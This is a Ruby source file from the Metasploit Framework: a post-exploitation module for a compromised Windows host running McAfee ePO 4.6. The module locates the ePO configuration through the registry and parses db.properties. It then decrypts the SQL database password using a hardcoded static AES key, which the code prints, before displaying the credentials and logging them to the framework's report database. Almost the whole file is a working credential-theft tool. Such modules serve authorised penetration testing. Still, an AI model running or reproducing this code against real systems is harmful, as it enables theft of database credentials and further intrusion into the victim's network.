metasploit-framework/modules/post/windows/gather/credentials/epo_sql.rb

180 lines
6.3 KiB
Ruby

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require "net/dns/resolver"
require 'msf/core/auxiliary/report'
class Metasploit3 < Msf::Post
include Msf::Post::Windows::Registry
include Msf::Auxiliary::Report
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Gather McAfee ePO 4.6 Config SQL Credentials',
'Description' => %q{
This module extracts connection details and decrypts the saved password for the
SQL database in use by a McAfee ePO 4.6 server. The passwords are stored in a
config file. They are encrypted with AES-128-ECB and a static key.
},
'License' => MSF_LICENSE,
'Author' => ['Nathan Einwechter <neinwechter[at]gmail.com>'],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
end
def run
# Find out where things are installed
print_status("Finding Tomcat install path...")
subkeys = registry_enumkeys("HKLM\\Software\\Network Associates\\ePolicy Orchestrator")
if subkeys.nil? or subkeys.empty?
print_error ("ePO 4.6 Not Installed or No Permissions to RegKey")
return
end
# Get the db.properties file location
epol_reg_key = "HKLM\\Software\\Network Associates\\ePolicy Orchestrator"
dbprops_file = registry_getvaldata(epol_reg_key, "TomcatFolder")
if dbprops_file == nil or dbprops_file == ""
print_error("Could not find db.properties file location")
else
dbprops_file << "/conf/orion/db.properties";
print_good("Found db.properties location");
process_config(dbprops_file);
end
end
def process_config(filename)
config = client.fs.file.new(filename, 'r')
print_status("Processing #{filename}")
contents = config.read
config_lines = contents.split("\n")
for line in config_lines
line.chomp
line_array = line.split('=')
case line_array[0]
when "db.database.name"
database_name = ""
line_array[1].each_byte { |x| database_name << x unless x > 126 || x < 32 }
when "db.instance.name"
database_instance = ""
line_array[1].each_byte { |x| database_instance << x unless x > 126 || x < 32 }
when "db.user.domain"
user_domain = ""
line_array[1].each_byte { |x| user_domain << x unless x > 126 || x < 32 }
when "db.user.name"
user_name = ""
line_array[1].each_byte { |x| user_name << x unless x > 126 || x < 32 }
when "db.port"
port = ""
line_array[1].each_byte { |x| port << x unless x > 126 || x < 32 }
when "db.user.passwd.encrypted.ex"
# ePO 4.6 encrypted password
passwd = ""
line_array[1].each_byte { |x| passwd << x unless x > 126 || x < 32 }
passwd.gsub("\\","")
# Add any Base64 padding that may have been stripped out
passwd << "=" until ( passwd.length % 4 == 0 )
plaintext_passwd = decrypt46(passwd)
when "db.user.passwd.encrypted"
# ePO 4.5 encrypted password - not currently supported, see notes below
passwd = ""
line_array[1].each_byte { |x| passwd << x unless x > 126 || x < 32 }
passwd.gsub("\\","")
# Add any Base64 padding that may have been stripped out
passwd << "=" until ( passwd.length % 4 == 0 )
plaintext_passwd = "PASSWORD NOT RECOVERED - ePO 4.5 DECRYPT SUPPORT IS WIP"
when "db.server.name"
database_server_name = ""
line_array[1].each_byte { |x| database_server_name << x unless x > 126 || x < 32 }
end
end
# resolve IP address for creds reporting
#Code borrowed from Rob fuller's dig module
if client.platform =~ /^x64/
size = 64
addrinfoinmem = 32
else
size = 32
addrinfoinmem = 24
end
result = client.railgun.ws2_32.getaddrinfo(database_server_name,nil,nil,4)
if result['GetLastError'] == 11001
print_error("Could not determine IP of DB - credentials not added to report database")
return
end
addrinfo = client.railgun.memread( result['ppResult'], size )
ai_addr_pointer = addrinfo[addrinfoinmem,4].unpack('L').first
sockaddr = client.railgun.memread( ai_addr_pointer, size/2 )
ip = sockaddr[4,4].unpack('N').first
db_ip = Rex::Socket.addr_itoa(ip)
print_good("SQL Server: #{database_server_name}")
print_good("SQL Instance: #{database_instance}")
print_good("Database Name: #{database_name}")
if db_ip
print_good("Database IP: #{db_ip}")
end
print_good("Port: #{port}")
if user_domain == nil or user_domain == ""
print_good("Authentication Type: SQL");
full_user = user_name
else
print_good("Authentication Type: Domain");
print_good("Domain: #{user_domain}");
full_user = "#{user_domain}\\#{user_name}"
end
print_good("User: #{full_user}")
print_good("Password: #{plaintext_passwd}")
if (db_ip)
# submit to reports
if session.db_record
source_id = session.db_record.id
else
source_id = nil
end
report_auth_info(
:host => db_ip,
:port => port,
:sname => 'mssql',
:user => full_user,
:pass => plaintext_passwd,
:source_id => source_id,
:source_type => "exploit",
:active => true
)
print_good("Added credentials to report database")
else
print_error("Could not determine IP of DB - credentials not added to report database")
end
end
def decrypt46(encoded)
encrypted_data = Rex::Text.decode_base64(encoded)
aes = OpenSSL::Cipher::Cipher.new("AES-128-ECB")
aes.padding = 0
aes.decrypt
# Private key extracted from ePO 4.6.0 Build 1029
# If other keys are required for other versions of 4.6 - will have to add version
# identification routines in to the main part of the module
key = [ 94, -100, 62, -33, -26, 37, -124, 54, 102, 33, -109, -128, 49, 90, 41, 51 ]
aes.key = key.pack('C*')
password = aes.update(encrypted_data) + aes.final
# Get rid of all the crazy \f's that result
password.gsub!(/[^[:print:]]/,'')
return password
end
end